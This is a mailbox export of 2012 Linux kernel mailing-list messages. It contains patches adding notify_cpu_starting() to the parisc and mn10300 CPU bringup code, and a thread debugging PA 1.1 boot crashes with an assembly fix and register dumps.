	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:03:02 -0400
Original-Received: from /spool/local
	by e28smtp08.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Wed, 16 May 2012 00:32:59 +0530
Original-Received: from d28relay01.in.ibm.com (9.184.220.58)
	by e28smtp08.in.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Wed, 16 May 2012 00:32:56 +0530
Original-Received: from d28av05.in.ibm.com (d28av05.in.ibm.com [9.184.220.67])
	by d28relay01.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FJ2uct14877142;
	Wed, 16 May 2012 00:32:56 +0530
Original-Received: from d28av05.in.ibm.com (loopback [127.0.0.1])
	by d28av05.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4G0XPUI024550;
	Wed, 16 May 2012 10:33:26 +1000
Original-Received: from [192.168.122.1] ([9.79.252.250])
	by d28av05.in.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4G0XK0J024429;
	Wed, 16 May 2012 10:33:22 +1000
In-Reply-To: <20120515190115.22459.93544.stgit@srivatsabhat>
User-Agent: StGIT/0.14.3
x-cbid: 12051519-2000-0000-0000-000007826841
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4391 gmane.linux.kernel:1297714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4391>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
Acked-and-Tested-by: Mikulas Patocka <mpatocka@redhat.com>
Acked-and-Tested-by: Tobias Ulmer <tobiasu@tmux.org>
Tested-by: John David Anglin <dave.anglin@bell.net>
---

 arch/parisc/kernel/smp.c |    8 +++++++-
 1 files changed, 7 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 0bb1d63..4dc7b79 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -31,6 +31,7 @@
 #include <linux/delay.h>
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
+#include <linux/cpu.h>
 
 #include <linux/atomic.h>
 #include <asm/current.h>
@@ -295,8 +296,13 @@ smp_cpu_init(int cpunum)
 
 		printk(KERN_CRIT "CPU#%d already initialized!\n", cpunum);
 		machine_halt();
-	}  
+	}
+
+	notify_cpu_starting(cpunum);
+
+	ipi_call_lock();
 	set_cpu_online(cpunum, true);
+	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RESEND PATCH 2/2] mn10300/CPU hotplug: Add missing call to
 notify_cpu_starting()
Date: Wed, 16 May 2012 00:32:37 +0530
Lines: 52
Approved: news@gmane.org
Message-ID: <20120515190228.22459.47763.stgit@srivatsabhat>
References: <20120515190115.22459.93544.stgit@srivatsabhat>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337108619 17070 80.91.229.3 (15 May 2012 19:03:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:03:39 +0000 (UTC)
Cc: akpm@linux-foundation.org, mingo@kernel.org,
	a.p.zijlstra@chello.nl, mpatocka@redhat.com,
	stepanm@codeaurora.org, tglx@linutronix.de,
	James.Bottomley@hansenpartnership.com, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, srivatsa.bhat@linux.vnet.ibm.com,
	linux-am33-list@redhat.com
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:03:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUN1w-0004k3-Ak
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:03:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966266Ab2EOTD2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:03:28 -0400
Original-Received: from e23smtp01.au.ibm.com ([202.81.31.143]:41837 "EHLO
	e23smtp01.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966488Ab2EOTDZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:03:25 -0400
Original-Received: from /spool/local
	by e23smtp01.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <srivatsa.bhat@linux.vnet.ibm.com>;
	Tue, 15 May 2012 18:54:58 +1000
Original-Received: from d23relay05.au.ibm.com (202.81.31.247)
	by e23smtp01.au.ibm.com (202.81.31.207) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 15 May 2012 18:54:56 +1000
Original-Received: from d23av01.au.ibm.com (d23av01.au.ibm.com [9.190.234.96])
	by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q4FIuAwS23658740;
	Wed, 16 May 2012 04:56:10 +1000
Original-Received: from d23av01.au.ibm.com (loopback [127.0.0.1])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q4FJ3HSs000745;
	Wed, 16 May 2012 05:03:19 +1000
Original-Received: from [192.168.122.1] ([9.79.252.250])
	by d23av01.au.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q4FJ3AwT000617;
	Wed, 16 May 2012 05:03:12 +1000
In-Reply-To: <20120515190115.22459.93544.stgit@srivatsabhat>
User-Agent: StGIT/0.14.3
x-cbid: 12051508-1618-0000-0000-00000197CF33
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4392 gmane.linux.kernel:1297715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4392>

The scheduler depends on receiving the CPU_STARTING notification, without
which we end up into a lot of trouble. So add the missing call to
notify_cpu_starting() in the bringup code.

Signed-off-by: Srivatsa S. Bhat <srivatsa.bhat@linux.vnet.ibm.com>
---

 arch/mn10300/kernel/smp.c |    9 ++++++---
 1 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/arch/mn10300/kernel/smp.c b/arch/mn10300/kernel/smp.c
index 910dddf..9cd69ad 100644
--- a/arch/mn10300/kernel/smp.c
+++ b/arch/mn10300/kernel/smp.c
@@ -24,6 +24,7 @@
 #include <linux/sched.h>
 #include <linux/profile.h>
 #include <linux/smp.h>
+#include <linux/cpu.h>
 #include <asm/tlbflush.h>
 #include <asm/bitops.h>
 #include <asm/processor.h>
@@ -38,7 +39,6 @@
 #include "internal.h"
 
 #ifdef CONFIG_HOTPLUG_CPU
-#include <linux/cpu.h>
 #include <asm/cacheflush.h>
 
 static unsigned long sleep_mode[NR_CPUS];
@@ -874,10 +874,13 @@ static void __init smp_online(void)
 
 	cpu = smp_processor_id();
 
-	local_irq_enable();
+	notify_cpu_starting(cpu);
 
+	ipi_call_lock();
 	set_cpu_online(cpu, true);
-	smp_wmb();
+	ipi_call_unlock();
+
+	local_irq_enable();
 }
 
 /**

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Tue, 15 May 2012 20:04:39 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <1337108679.3005.34.camel@dabdike.lan>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
	 <4FB011E7.1000604@linux.vnet.ibm.com>
	 <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
	 <4FB0197F.6010000@linux.vnet.ibm.com>
	 <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
	 <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl>
	 <CA+55aFy1TGH07Ng-nbmWs2N8=kfFMCMosF1TsevLcHhCpWL-LQ@mail.gmail.com>
	 <4FB2A090.6060404@linux.vnet.ibm.com>
	 <CA+55aFwLayGtrWJw1bN9+wwy4NqeyV2Bwkt5VWJVF-a=eGkDcQ@mail.gmail.com>
	 <4FB2A43D.7090005@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337108695 17662 80.91.229.3 (15 May 2012 19:04:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:04:55 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	John David Anglin <dave.anglin@bell.net>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@kernel.org>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>,
	Mikulas Patocka <mpatocka@redhat.com>, stepanm@codeaurora.org,
	Thomas Gleixner <tglx@linutronix.de>, deller@gmx.de,
	dhowells@redhat.com, yasutake.koichi@jp.panasonic.com,
	eike-kernel@sf-tec.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: "Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:04:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUN39-0005vB-Fi
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:04:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966465Ab2EOTEq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:04:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55453 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S966394Ab2EOTEp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:04:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 944088EE0DD;
	Tue, 15 May 2012 12:04:44 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2NNpZVFkg-Fg; Tue, 15 May 2012 12:04:44 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 997D48EE081;
	Tue, 15 May 2012 12:04:41 -0700 (PDT)
In-Reply-To: <4FB2A43D.7090005@linux.vnet.ibm.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4393 gmane.linux.kernel:1297717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4393>

On Wed, 2012-05-16 at 00:15 +0530, Srivatsa S. Bhat wrote:
> On 05/16/2012 12:12 AM, Linus Torvalds wrote:
> 
> > On Tue, May 15, 2012 at 11:29 AM, Srivatsa S. Bhat
> > <srivatsa.bhat@linux.vnet.ibm.com> wrote:
> >>>
> >>> Can somebody send the final patches with proper subject lines etc,
> >>> instead of hiding them in unrelated threads? I hate picking up patches
> >>> that I don't personally know from the middle of some random thread.
> >>>
> >>
> >>
> >> Okay, here they are:
> > 
> > What part of "with proper subject lines" didn't you get?
> > 
> > Look at the subject line. Look at how you put the patch in the middle
> > of an old thread that was about something totally different.
> > 
> > This was *exactly* what I complained about. I don't want patches like this.
> > 
> 
> 
> Oops! Sorry about that! I will resend in a separate thread with appropriate
> subject line.

If it helps, I've already imported it to the parisc fixes tree with a
corrected subject line.  We still have this and the PA1.1 fix, when I
can confirm it's actually the complete fix for the boot panics.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 20:09:50 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <1337108990.3005.35.camel@dabdike.lan>
References: <4FA9975C.5060708@bergerie>
	  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>
	  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>
	  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	  <1337069366.3005.10.camel@dabdike.lan>
	 <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337109004 20178 80.91.229.3 (15 May 2012 19:10:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:10:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:10:02 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUN8D-00029A-EN
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:10:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966506Ab2EOTJ6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:09:58 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55479 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S966455Ab2EOTJ4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:09:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C34A28EE0DD;
	Tue, 15 May 2012 12:09:55 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OU8GUXLTUgJk; Tue, 15 May 2012 12:09:55 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1B9928EE081;
	Tue, 15 May 2012 12:09:53 -0700 (PDT)
In-Reply-To: <4FB29F13.5070801@bell.net>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4394>

On Tue, 2012-05-15 at 14:23 -0400, John David Anglin wrote:
> On 5/15/2012 5:13 AM, James Bottomley wrote:
> > On Tue, 2012-05-15 at 09:09 +0100, James Bottomley wrote:
> >> On Mon, 2012-05-14 at 18:38 -0400, John David Anglin wrote:
> >>> On 14-May-12, at 6:11 PM, Helge Deller wrote:
> >>>
> >>>> The B160L and the 715/64 (both 32bit-only PA1.X machines) crashed
> >>>> with the following trace.
> >>>> All logs attached.
> >>>>
> >>>> Any ideas?
> >>> This is exactly the same failure as reported by Vincent.
> >>>
> >>> The most likely problem is the PA 1.1 tmpalias support in entry.S is
> >>> broken.  For example,
> >>> the cache stride that is loaded in flush_dcache_page_asm to register
> >>> r1 is wrong.  Probably,
> >>> the do_alias macro is wrong for PA 1.1.  This is hunk of code that
> >>> should be executed
> >>> when a fdc non access fault occurs.
> >>>
> >>> nadtlb_check_alias_11:
> >>>           do_alias        spc,t0,t1,va,pte,prot,nadtlb_emulate
> >>>
> >>>           idtlba          pte,(va)
> >>>           idtlbp          prot,(va)
> >>>
> >>>           rfir
> >>>           nop
> >>>
> >>> The TLB insert instructions on PA 1.1 have a different format than on
> >>> PA 2.0.  I'm not sure
> >>> how this would corrupt r1.
> >>>
> >>> On the other hand, I had asked Vincent to put a "b,n ." instruction
> >>> just before the fdc loop,
> >>> boot, hit the TOC button, and capture the setup registers for the
> >>> flush operation.  It's possible
> >>> the stride variable has been clobbered.
> >> Actually, I don't think it's that.  I built a PA 1.1 only kernel and
> >> booted it successfully on the C360.  That exercises all the _11 paths,
> >> so I don't think there's a code fault.  I do think there's a non PA1.1
> >> instruction in there somewhere that the C360 wouldn't notice.
> > OK, I think this is the problem.  We have a depd instruction in do_alias
> > which is now in the _11 fault paths.
> >
> > This should be the fix, if someone wants to test it before I can get
> > around to building it.
> >
> > James
> >
> > ---
> >
> > diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> > index 6f05944..5350342 100644
> > --- a/arch/parisc/kernel/entry.S
> > +++ b/arch/parisc/kernel/entry.S
> > @@ -581,7 +581,11 @@
> >   	 */
> >   	cmpiclr,=	0x01,\tmp,%r0
> >   	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
> > +#ifdef CONFIG_64BIT
> >   	depd,z		\prot,8,7,\prot
> > +#else
> > +	depw,z		\prot,8,7,\prot
> > +#endif
> >   	/*
> >   	 * OK, it is in the temp alias region, check whether "from" or "to".
> >   	 * Check "subtle" note in pacache.S re: r23/r26.
> Better check that this fix doesn't break 32-bit PA 2.0 as the seven bit 
> are now being deposited
> in a different place.

It doesn't.  It's the same on both 32 and 64 bit: I compared with the
original code.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 15:24:40 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <4FB2AD78.1020002@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337109863 27474 80.91.229.3 (15 May 2012 19:24:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:24:23 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:24:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUNM2-0005NN-Mu
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:24:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966543Ab2EOTYS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:24:18 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:38296 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S965425Ab2EOTYR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:24:17 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUNLz-00017l-03; Tue, 15 May 2012 15:24:15 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FB2A58A.9050706@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4395>

James patch now let my 715/64 boot, but still crashes on my B160L:
>
> swapper (pid 1): Illegal instruction (code 8)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001110000100001111 Not tainted
> r00-03  0004e10f 00000020 101198cc 17c245c0
> r04-07  ffeff000 17ec05f8 007d4000 17e60260
> r08-11  17c5100b fffff000 17e60310 00020000
> r12-15  00000ffc 0000000b 00000000 ffeff000
> r16-19  007d4000 10768020 10000000 17c22db8
> r20-23  17c245c8 108fc000 00000001 00000020
> r24-27  000007d4 0f2fffe0 0000fa80 106e2020
> r28-31  0f2ff000 000074ee 17c24640 000072e6
> sr00-03  00000000 00000001 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 1010118c 10101190
>  IIR: 078113e0    ISR: 00000000  IOR: 0f2ff000
>  CPU:        0   CR30: 17c24000 CR31: f0102978
>  ORIG_R28: 17ebbe40
>  IAOQ[0]: flush_icache_page_asm+0x28/0x7c
>  IAOQ[1]: flush_icache_page_asm+0x2c/0x7c
>  RP(r2): flush_cache_page+0x90/0xb0
> Backtrace:
This one is in a different place: flush_icache_page_asm.  It has
crashed on the first fic,m instruction.  Again it is an illegal instruction.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Tue, 15 May 2012 15:46:42 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <4FB2B2A2.2020207@bell.net>
References: <4FA9975C.5060708@bergerie>  <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>  <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>  <4FAEE943.2030203@gmx.de> <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>  <4FB182F8.2040403@gmx.de> <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>  <1337069366.3005.10.camel@dabdike.lan> <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net> <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337111189 5662 80.91.229.3 (15 May 2012 19:46:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 15 May 2012 19:46:29 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 15 21:46:28 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SUNhQ-00022v-8t
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 May 2012 21:46:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965947Ab2EOTqX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 May 2012 15:46:23 -0400
Original-Received: from smtp1.primus.ca ([209.216.129.80]:60685 "EHLO mail-01.primus.ca"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S965752Ab2EOTqW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 May 2012 15:46:22 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SUNhJ-0008Gt-19; Tue, 15 May 2012 15:46:17 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FB2AD78.1020002@bell.net>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4396>

On 5/15/2012 3:24 PM, John David Anglin wrote:
> James patch now let my 715/64 boot, but still crashes on my B160L:
>>
>> swapper (pid 1): Illegal instruction (code 8)
>>
>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> PSW: 00000000000001001110000100001111 Not tainted
>> r00-03  0004e10f 00000020 101198cc 17c245c0
>> r04-07  ffeff000 17ec05f8 007d4000 17e60260
